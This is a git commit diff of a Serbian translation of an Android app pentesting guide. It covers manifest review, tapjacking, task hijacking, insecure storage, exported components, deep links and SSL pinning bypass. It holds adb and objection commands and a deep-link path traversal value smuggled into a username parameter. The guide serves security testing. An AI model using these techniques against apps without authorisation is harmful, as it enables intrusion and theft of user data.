Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

This commit is contained in:
Translator 2025-08-04 18:40:21 +00:00
parent 62239a55da
commit 175f9829b3
4 changed files with 238 additions and 85 deletions

View File

@ -322,6 +322,7 @@
- [Android APK Checklist](mobile-pentesting/android-checklist.md)
- [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)

View File

@ -19,16 +19,17 @@ Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili k
## Smali
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i ponovo ga kompajlirati.\
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i ponovo kompajlirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
Ponekad je zanimljivo **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili oznakama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i rekompilirati ga.\
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i rekompilirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
## Druge zanimljive trikove
## Drugi zanimljivi trikovi
- [Lažiranje vaše lokacije u Play Store-u](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-bazirani pristup bez root privilegija)](shizuku-privileged-api.md)
- [Iskorišćavanje nesigurnih mehanizama ažuriranja unutar aplikacije](insecure-in-app-update-rce.md)
- [Zloupotreba usluga pristupačnosti (Android RAT)](accessibility-services-abuse.md)
- **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Ekstrakcija APK-a sa uređaja:
- Ekstrakt APK sa uređaja:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -47,45 +48,45 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Case Studies & Vulnerabilities
## Studije slučaja i ranjivosti
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## Static Analysis
## Staticka analiza
Prvo, za analizu APK-a trebate **pogledati Java kod** koristeći dekompajler.\
Molimo, [**pročitajte ovde da biste pronašli informacije o različitim dostupnim dekompajlerima**](apk-decompilers.md).
### Looking for interesting Info
### Traženje zanimljivih informacija
Samo gledajući **stringove** APK-a možete tražiti **lozinke**, **URL-ove** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** ključeve, **enkripciju**, **bluetooth uuids**, **tokene** i sve što je zanimljivo... potražite čak i **backdoor-e** za izvršavanje koda ili backdoor-e za autentifikaciju (hardkodirane admin kredencijale za aplikaciju).
**Firebase**
Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konfigurisan. [Više informacija o tome šta je Firebase i kako ga iskoristiti ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konfigurisano. [Više informacija o tome šta je Firebase i kako ga iskoristiti ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basic understanding of the application - Manifest.xml, strings.xml
### Osnovno razumevanje aplikacije - Manifest.xml, strings.xml
**Istraživanje _Manifest.xml_ i _strings.xml_ datoteka aplikacije može otkriti potencijalne sigurnosne ranjivosti**. Ove datoteke se mogu pristupiti koristeći dekompajlere ili preimenovanjem ekstenzije APK datoteke u .zip i zatim raspakivanjem.
**Ranjivosti** identifikovane iz **Manifest.xml** uključuju:
- **Debuggable Applications**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalju pomoć o tome kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečili neovlašćeni backup podataka putem adb, posebno kada je usb debugging omogućen.
- **Network Security**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene.
- **Exported Activities and Services**: Identifikacija eksportovanih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente.
- **Content Providers and FileProviders**: Izloženi provajderi sadržaja mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe treba biti pažljivo ispitana.
- **Broadcast Receivers and URL Schemes**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se upravlja URL shemama za ranjivosti unosa.
- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane verzije Android-a, ističući važnost ne podržavanja zastarelih, ranjivih verzija Android-a iz sigurnosnih razloga.
- **Debuggable aplikacije**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalju pomoć o tome kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
- **Podešavanja rezervne kopije**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečile neovlašćene rezervne kopije podataka putem adb, posebno kada je USB debugging omogućen.
- **Mrežna sigurnost**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene.
- **Izvezene aktivnosti i servisi**: Identifikacija izvezenih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente.
- **Content Providers i FileProviders**: Izloženi content providers mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe treba biti pažljivo ispitana.
- **Broadcast Receivers i URL sheme**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se URL sheme upravljaju za ranjivosti unosa.
- **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, ističući važnost ne podržavanja zastarelih, ranjivih Android verzija iz sigurnosnih razloga.
Iz **strings.xml** datoteke, osetljive informacije kao što su API ključevi, prilagođene sheme i druge beleške programera mogu se otkriti, naglašavajući potrebu za pažljivim pregledom ovih resursa.
### Tapjacking
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo prikrije aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje s njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
U suštini, to je **slabljenje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
U suštini, to **oslepljuje korisnika da ne zna da zapravo izvršava radnje na aplikaciji žrtve**.
Pronađite više informacija u:
@ -93,9 +94,9 @@ Pronađite više informacija u:
tapjacking.md
{{#endref}}
### Task Hijacking
### Otimanje zadataka
**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na task hijacking. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **oteti zadatak prave aplikacije** (tako da će korisnik interagovati sa **malicioznom aplikacijom misleći da koristi pravu**).
**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na otimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **oteti zadatak prave aplikacije** (tako da korisnik misli da koristi pravu aplikaciju dok zapravo interaguje sa **malicioznom aplikacijom**).
Više informacija u:
@ -103,29 +104,29 @@ Više informacija u:
android-task-hijacking.md
{{#endref}}
### Insecure data storage
### Nesigurno skladištenje podataka
**Internal Storage**
**Interno skladište**
U Android-u, datoteke **pohranjene** u **internom** skladištu su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **propisana** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
U Androidu, datoteke **smeštene** u **interno** skladište su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **sprovedena** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
1. **Static Analysis:**
1. **Staticka analiza:**
- **Osigurajte** da se korišćenje `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispita**. Ovi režimi **mogu potencijalno izložiti** datoteke **neprikladnom ili neovlašćenom pristupu**.
2. **Dynamic Analysis:**
2. **Dinamička analiza:**
- **Proverite** **dozvole** postavljene na datotekama koje kreira aplikacija. Konkretno, **proverite** da li su neke datoteke **postavljene da budu čitljive ili zapisive globalno**. Ovo može predstavljati značajan sigurnosni rizik, jer bi omogućilo **bilo kojoj aplikaciji** instaliranoj na uređaju, bez obzira na njen izvor ili nameru, da **čita ili modifikuje** ove datoteke.
**External Storage**
**Eksterno skladište**
Kada se radi o datotekama na **eksternom skladištu**, kao što su SD kartice, treba preduzeti određene mere opreza:
1. **Accessibility**:
1. **Pristupačnost**:
- Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim datotekama.
2. **Security Concerns**:
- S obzirom na lakoću pristupa, savetuje se **da se ne čuvaju osetljive informacije** na eksternom skladištu.
2. **Sigurnosne brige**:
- S obzirom na lakoću pristupa, savetuje se **da se ne skladište osetljive informacije** na eksternom skladištu.
- Eksterno skladište može biti uklonjeno ili pristupljeno od strane bilo koje aplikacije, što ga čini manje sigurnim.
3. **Handling Data from External Storage**:
3. **Rukovanje podacima iz eksternog skladišta**:
- Uvek **izvršite validaciju unosa** na podacima preuzetim iz eksternog skladišta. Ovo je ključno jer su podaci iz nepouzdanog izvora.
- Čuvanje izvršnih ili klasa datoteka na eksternom skladištu za dinamičko učitavanje se snažno ne preporučuje.
- Skladištenje izvršnih ili klasa datoteka na eksternom skladištu za dinamičko učitavanje se snažno ne preporučuje.
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksternog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je ključan za održavanje sigurnosne integriteta vaše aplikacije.
Eksterno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
@ -133,14 +134,14 @@ Eksterno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard`
> [!TIP]
> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikaciji na direktorijum koji je specifično za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da dobije pristup za čitanje ili pisanje datoteka druge aplikacije.
**Sensitive data stored in clear-text**
**Osetljivi podaci pohranjeni u čistom tekstu**
- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke u putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka u putanji `/data/data/<packagename>/databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
- **Deljene postavke**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke na putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
- **Baze podataka**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka na putanji `/data/data/<packagename>/databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
### Broken TLS
### Slomljeni TLS
**Accept All Certificates**
**Prihvati sve sertifikate**
Iz nekog razloga, ponekad programeri prihvataju sve sertifikate čak i ako, na primer, ime hosta ne odgovara sa linijama koda poput sledeće:
```java
@ -157,11 +158,11 @@ Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih sa k
**Korišćenje Nesigurnih i/ili Zastarelih Algoritama**
Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, treba koristiti hash-ove otporne na brute-force sa solju.
Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, trebali bi se koristiti hash-ovi otporni na brute-force sa solju.
### Ostale provere
- Preporučuje se da se **obfuskira APK** kako bi se otežao posao obrnute inženjeringa napadačima.
- Preporučuje se da se **obfuskira APK** kako bi se otežao rad obrnute inženjeringa napadačima.
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da proveri da li se koristi **emulator**.
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da **proveri svoju integritet pre izvršavanja** da bi proverila da li je modifikovana.
@ -169,7 +170,7 @@ Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **prove
### React Native Aplikacija
Pročitajte sledeću stranicu da biste saznali kako lako pristupiti JavaScript kodu React aplikacija:
Pročitajte sledeću stranicu da biste saznali kako lako pristupiti javascript kodu React aplikacija:
{{#ref}}
react-native-application.md
@ -238,7 +239,7 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
#### Korišćenje emulatora
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, a prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnovijim x86** verzijama **podržavaju ARM biblioteke** bez potrebe za sporim arm emulatorom).
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, i prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnovijim x86** verzijama **podržavaju ARM biblioteke** bez potrebe za sporim arm emulatorom).
- Naučite kako da ga postavite na ovoj stranici:
{{#ref}}
@ -255,7 +256,7 @@ Da biste **instalirali google usluge** (kao što je AppStore) u Genymotion-u, po
![](<../../images/image (277).png>)
Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete odabrati **Bridge Network mode** (to će biti korisno ako se povezujete na Android VM iz različitog VM-a sa alatima).
Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete odabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati na Android VM iz različitog VM-a sa alatima).
#### Koristite fizički uređaj
@ -267,17 +268,17 @@ Morate aktivirati **debugging** opcije i bilo bi dobro ako možete **root-ovati*
4. Pritisnite **Broj izrade** 7 puta.
5. Vratite se i naći ćete **Opcije za programere**.
> Kada instalirate aplikaciju, prva stvar koju treba da uradite je da je isprobate i istražite šta radi, kako funkcioniše i da se upoznate s njom.\
> Kada instalirate aplikaciju, prva stvar koju treba da uradite je da je isprobate i istražite šta radi, kako funkcioniše i da se upoznate sa njom.\
> Preporučujem da **izvršite ovu inicijalnu dinamičku analizu koristeći MobSF dinamičku analizu + pidcat**, tako da ćemo moći da **naučimo kako aplikacija funkcioniše** dok MobSF **prikuplja** mnogo **zanimljivih** **podataka** koje možete pregledati kasnije.
### Neplanirano Otkriće Podataka
**Logovanje**
Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` se preporučuju za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Preporučuju se alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
> [!WARNING]
> Imajte na umu da od **novijih verzija Android-a 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
> Imajte na umu da od **novijih verzija od Android 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
> U svakom slučaju, i dalje se preporučuje da **ne logujete osetljive informacije**.
**Keširanje Copy/Paste Bafera**
@ -286,13 +287,13 @@ Androidov **okvir zasnovan na clipboard-u** omogućava funkcionalnost kopiranja
**Logovi Rušenja**
Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjering. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjeringom. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
Kao pentester, **pokušajte da pogledate ove logove**.
**Podaci o Analitici Poslati Trećim Stranama**
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **izložiti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju bilo kakve osetljive informacije trećim stranama.
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju osetljive informacije trećim stranama.
### SQLite DBs
@ -317,7 +318,7 @@ Takođe zapamtite da kod aktivnosti počinje u **`onCreate`** metodi.
Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **obići** mehanizme **autentifikacije** **da biste joj pristupili.**
[**Saznajte kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
[**Naučite kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
Takođe možete pokrenuti eksportovanu aktivnost iz adb:
@ -339,30 +340,30 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
Ako tapjacking nije sprečen, mogli biste zloupotrebiti izvezenu aktivnost da naterate **korisnika da izvrši neočekivane radnje**. Za više informacija o [**šta je Tapjacking pratite link**](#tapjacking).
### Eksploatacija Content Providers - Pristup i manipulacija osetljivim informacijama
### Iskorišćavanje Content Providers - Pristup i manipulacija osetljivim informacijama
[**Pročitajte ovo ako želite da osvežite šta je Content Provider.**](android-applications-basics.md#content-provider)\
Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija ima dostupne content providers, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL injekcije** i **Path Traversals** jer bi mogli biti ranjivi.
[**Saznajte kako da eksploatišete Content Providers sa Drozer-om.**](drozer-tutorial/index.html#content-providers)
[**Saznajte kako da iskoristite Content Providers sa Drozer-om.**](drozer-tutorial/index.html#content-providers)
### **Eksploatacija Servisa**
### **Iskorišćavanje Servisa**
[**Pročitajte ovo ako želite da osvežite šta je Servis.**](android-applications-basics.md#services)\
Zapamtite da akcije Servisa počinju u metodi `onStartCommand`.
Servis je osnovno nešto što **može primati podatke**, **obrađivati** ih i **vraćati** (ili ne) odgovor. Dakle, ako aplikacija izveze neke servise, trebali biste **proveriti** **kod** da biste razumeli šta radi i **testirati** ga **dinamički** za izvlačenje poverljivih informacija, zaobilaženje mera autentifikacije...\
[**Saznajte kako da eksploatišete Servise sa Drozer-om.**](drozer-tutorial/index.html#services)
[**Saznajte kako da iskoristite Servise sa Drozer-om.**](drozer-tutorial/index.html#services)
### **Eksploatacija Broadcast Receivers**
### **Iskorišćavanje Broadcast Receivers**
[**Pročitajte ovo ako želite da osvežite šta je Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Zapamtite da akcije Broadcast Receiver-a počinju u metodi `onReceive`.
Broadcast receiver će čekati na određenu vrstu poruke. U zavisnosti od toga kako receiver obrađuje poruku, mogao bi biti ranjiv.\
[**Saznajte kako da eksploatišete Broadcast Receivers sa Drozer-om.**](#exploiting-broadcast-receivers)
[**Saznajte kako da iskoristite Broadcast Receivers sa Drozer-om.**](#exploiting-broadcast-receivers)
### **Eksploatacija Schemes / Deep links**
### **Iskorišćavanje Schemes / Deep links**
Možete ručno tražiti deep links, koristeći alate kao što je MobSF ili skripte poput [ove](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Možete **otvoriti** deklarisani **scheme** koristeći **adb** ili **pregledač**:
@ -389,7 +390,7 @@ Svaki put kada pronađete deep link, proverite da **ne prima osetljive podatke (
**Parametri u putanji**
Trebalo bi da **proverite i da li neki deep link koristi parametar unutar putanje** URL-a kao što je: `https://api.example.com/v1/users/{username}`, u tom slučaju možete primorati putanju da pređe na nešto poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da modifikujete korisničke podatke bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/).
Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da modifikujete podatke korisnika bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/).
**Još primera**
@ -398,8 +399,8 @@ Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o
### Inspekcija i verifikacija transportnog sloja
- **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza.
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čoveka u sredini" (MITM), omogućavajući napadačima da dešifruju podatke.
- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta.
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čovek u sredini" (MITM), omogućavajući napadačima da dešifruju podatke.
- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili podaci korisnika, od presretanja od strane zlonamernih entiteta.
#### Verifikacija sertifikata
@ -407,17 +408,17 @@ Fokusiraćemo se na **verifikaciju sertifikata**. Integritet sertifikata servera
#### SSL Pinning
SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odnosu na poznatu kopiju smeštenu unutar same aplikacije. Ova metoda je ključna za sprečavanje MITM napada. Implementacija SSL Pinning-a se snažno preporučuje za aplikacije koje obrađuju osetljive informacije.
SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odnosu na poznatu kopiju smeštenu unutar same aplikacije. Ova metoda je ključna za sprečavanje MITM napada. Implementacija SSL Pinninga se snažno preporučuje za aplikacije koje obrađuju osetljive informacije.
#### Inspekcija saobraćaja
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instaliranja ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplikacije koje cilјaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
Aplikacije koje ciljaju **API Level 24 i više** zahtevaju izmene u Network Security Config da bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
Ako se koristi **Flutter**, potrebno je da pratite uputstva na [**ovoj stranici**](flutter.md). To je zato što, samo dodavanje sertifikata u skladište neće raditi jer Flutter ima svoju listu važećih CA.
#### Zaobilaženje SSL Pinning-a
#### Zaobilaženje SSL Pinninga
Kada je SSL Pinning implementiran, zaobilaženje postaje neophodno za inspekciju HTTPS saobraćaja. Različite metode su dostupne za ovu svrhu:
@ -425,7 +426,7 @@ Kada je SSL Pinning implementiran, zaobilaženje postaje neophodno za inspekciju
- Možete koristiti **Frida** (o kojoj se govori u nastavku) da zaobiđete ovu zaštitu. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći **MobSF dinamičku analizu** (objašnjeno u nastavku)
- Ako i dalje mislite da postoji neki saobraćaj koji ne hvata, možete pokušati da **prosledite saobraćaj do burp-a koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Ako i dalje mislite da postoji neki saobraćaj koji ne presrećete, možete pokušati da **prosledite saobraćaj do burp-a koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Traženje uobičajenih web ranjivosti
@ -441,11 +442,11 @@ Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida.
